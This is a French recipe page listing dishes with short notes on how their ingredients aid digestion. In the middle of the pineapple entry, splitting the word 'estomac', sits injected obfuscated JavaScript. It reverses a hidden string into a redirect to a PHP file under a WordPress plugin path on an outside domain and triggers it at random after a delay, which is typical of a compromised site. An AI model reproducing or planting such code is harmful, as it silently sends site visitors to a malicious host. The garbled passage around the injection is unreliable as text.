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Petits flans de carottes et de courgettes

    Le + nutrition : Le fait de râper les légumes permet une cuisson plus poussée et donc une meilleure digestibilité. De plus, sous cette forme, ils dégagent davantage de parfum à la cuisson.    

Fenouil braisé à l’orange

    Le + nutrition : Le fenouil est un légume particulièrement riche en vitamines, en minéraux et en oligoéléments : vitamine C, bêtacarotène, acide folique, potassium, calcium, magnésium, etc. De plus, les substances aromatiques qu’il contient sont reconnues pour leur vertus sur la digestion.    

Mijoté de poulet sauce menthe gingembre

    Le + nutrition : Le gingembre a des effets positifs sur la digestion. Il stimule l’appétit, diminue les douleurs intestinales, les gaz, les ballonnements, les nausées et le mal des transports.    

Brochettes de dinde à l’ananas frais

    Le + nutrition : L’ananas contient des fibres insolubles qui améliorent le fonctionnement du système digestif. Il contient également de la bromélaïne, une enzyme qui facilite la digestion des protéines, qui permet d’éviter les indigestions et les brûlures d’es$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomac.       ...

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Médaillon de lotte et tagliatelles de courgette

    Astuce Pensez aux herbes aromatiques : le thym, le romarin, l’origan, le basilic, la menthe, etc. Au-delà de leurs multiples saveurs, elles sont riches en chlorophylle et en vitamines antioxydantes. Pour préserver leurs vertus, leur arôme et leur couleur, ajoutez-les à vos plats en fin de cuisson.